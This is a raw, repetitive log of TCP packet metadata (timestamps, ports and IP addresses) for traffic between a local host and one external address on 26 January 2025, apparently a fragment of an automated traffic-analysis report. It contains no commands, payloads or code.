Jan 26, 2025 08:22:20.144063950 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144084930 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144093037 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144098997 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144108057 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144114971 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144128084 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144165039 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144182920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144191027 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144197941 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144203901 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144232035 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144248009 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144257069 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144263029 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144268036 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144270897 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144278049 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144295931 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144351959 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144360065 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144375086 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144382954 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144391060 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144407034 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144413948 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144422054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144421101 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144428968 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144438982 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144447088 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144467115 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144498110 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144536972 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144556999 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144566059 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144572973 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144579887 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144587040 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144593954 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144607067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144613981 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144618034 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144623041 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144649982 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144701958 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144710064 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144710064 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144758940 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144799948 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144807100 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144813061 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144820929 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144828081 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144843102 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144850016 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144855976 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144856930 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144886017 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144921064 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144927979 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144927979 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.144958019 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144965887 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.144965887 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145020962 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145055056 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145062923 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145068884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145076036 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145083904 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145087004 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145102978 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145109892 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145117044 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145117044 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145127058 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145144939 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145150900 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145153046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145190001 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145217896 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145226002 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145234108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145235062 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145241022 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145255089 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145262957 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145267010 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145270109 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145277023 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145287991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145294905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145307064 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145324945 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145334005 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145360947 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145395994 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.145407915 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145416975 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145422935 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145430088 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.145479918 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.147927046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.147968054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148000002 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148040056 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148082018 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148089886 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148140907 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148154020 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148161888 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148169994 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148197889 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148202896 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148255110 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148267984 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148276091 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148303986 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148310900 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148333073 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148369074 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148376942 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148385048 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148416996 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148423910 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148441076 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148446083 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148454905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148472071 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148503065 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148549080 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148551941 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148556948 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148565054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148571968 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148586988 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148591995 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148593903 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148617983 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148624897 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148624897 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148633003 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148641109 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148658991 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148706913 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148706913 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148719072 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148727894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148734093 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148741961 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148756981 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148765087 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148767948 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148771048 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148793936 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148824930 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148838997 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148839951 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148853064 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148861885 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148876905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148884058 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148885012 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148894072 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148900032 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148915052 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148955107 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.148984909 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.148999929 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149008036 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149015903 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149032116 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149034977 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149041891 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149063110 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149105072 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149113894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149117947 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149116039 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149125099 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149132967 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149146080 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149157047 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149163961 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149198055 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149226904 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149231911 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149235010 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149241924 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149249077 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149256945 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149266005 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149270058 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149279118 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149295092 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149302959 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149306059 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149343014 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149378061 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149382114 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149390936 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149406910 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149414062 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149416924 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149454117 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149461031 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149463892 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149466991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149513960 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149581909 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149590015 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149596930 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149604082 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149610996 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149620056 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149633884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149636984 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149641037 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149648905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149656057 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149678946 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149686098 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149687052 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149738073 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149764061 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149771929 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149780035 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149787903 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149821997 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149848938 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149849892 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149856091 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149861097 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149868011 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149874926 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149888992 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149897099 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149904013 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149909973 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149945021 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:20.149955988 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149964094 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149970055 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149986029 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.149992943 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150000095 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150062084 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150069952 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150080919 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150094986 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150103092 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150110006 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150125027 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150132895 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150223017 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150230885 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150238037 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150244951 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150259018 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150265932 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150321960 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150330067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150413036 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150420904 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150445938 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150454044 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150518894 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150526047 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150609016 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150616884 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150625944 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150633097 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150650978 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150657892 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150666952 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150675058 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150691986 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150700092 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150707006 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150713921 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150722027 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150728941 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150743961 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150751114 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150765896 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150773048 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150794983 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150801897 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150835991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150842905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150850058 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150892973 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150901079 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150907993 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150942087 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150949955 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150957108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150964975 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.150974989 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151063919 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151071072 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151077986 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151086092 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151093006 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151099920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151108027 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151122093 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151129961 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151138067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151141882 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151153088 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151160002 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151169062 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151175976 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151206970 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151215076 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151221991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151257038 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151263952 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151271105 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151321888 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151329994 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151333094 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151348114 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151355028 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151361942 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151439905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151448965 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151456118 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151463032 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151469946 CET	62529	49734	23.27.201.57	192.168.2.4
